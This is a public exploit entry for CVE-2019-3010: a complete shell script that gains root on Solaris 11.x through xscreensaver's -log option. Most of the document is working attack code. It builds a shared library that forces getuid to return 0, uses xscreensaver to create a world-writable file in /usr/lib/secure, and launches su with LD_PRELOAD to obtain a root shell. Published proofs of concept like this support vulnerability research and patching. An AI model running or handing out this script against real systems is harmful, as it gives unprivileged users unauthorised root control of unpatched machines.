Solaris xscreensaver 11.4 - Privilege Escalation

# Exploit Title: Solaris xscreensaver 11.4 - Privilege Escalation
# Date: 2019-10-16
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/technetwork/server-storage/solaris11/
# Version: Solaris 11.x
# Tested on: Solaris 11.4 and 11.3 X86
# CVE: N/A

#!/bin/sh

#
# raptor_xscreensaver - Solaris 11.x LPE via xscreensaver
# Copyright (c) 2019 Marco Ivaldi <[email protected]>
#
# Exploitation of a design error vulnerability in xscreensaver, as 
# distributed with Solaris 11.x, allows local attackers to create
# (or append to) arbitrary files on the system, by abusing the -log
# command line switch introduced in version 5.06. This flaw can be
# leveraged to cause a denial of service condition or to escalate
# privileges to root. This is a Solaris-specific vulnerability,
# caused by the fact that Oracle maintains a slightly different
# codebase from the upstream one (CVE-2019-3010).
#
# "I'd rather be lucky than good any day." -- J. R. "Bob" Dobbs
# "Good hackers force luck." -- ~A.
#
# This exploit targets the /usr/lib/secure/ directory in order
# to escalate privileges with the LD_PRELOAD technique. The
# implementation of other exploitation vectors, including those
# that do not require gcc to be present on the target system, is
# left as an exercise to fellow UNIX hackers;)
#
# Usage:
# raptor@stalker:~$ chmod +x raptor_xscreensaver
# raptor@stalker:~$ ./raptor_xscreensaver
# [...]
# Oracle Corporation      SunOS 5.11      11.4    Aug 2018
# root@stalker:~# id
# uid=0(root) gid=0(root)
# root@stalker:~# rm /usr/lib/secure/64/getuid.so /tmp/getuid.*
#
# Vulnerable platforms:
# Oracle Solaris 11 X86 [tested on 11.4 and 11.3]
# Oracle Solaris 11 SPARC [untested]
#

echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver"
echo "Copyright (c) 2019 Marco Ivaldi <[email protected]>"
echo

# prepare the payload
echo "int getuid(){return 0;}" > /tmp/getuid.c
gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc
if [ $? -ne 0 ]; then
	echo "error: problem compiling the shared library, check your gcc"
	exit 1
fi

# check the architecture
LOG=/usr/lib/secure/getuid.so
file /bin/su | grep 64-bit >/dev/null 2>&1
if [ $? -eq 0 ]; then
	LOG=/usr/lib/secure/64/getuid.so
fi

# start our own xserver
# alternatively we can connect back to a valid xserver (e.g. xquartz)
/usr/bin/Xorg :1 &

# trigger the bug
umask 0
/usr/bin/xscreensaver -display :1 -log $LOG &
sleep 5

# clean up
pkill -n xscreensaver
pkill -n Xorg

# LD_PRELOAD-fu
cp /tmp/getuid.so $LOG
LD_PRELOAD=$LOG su -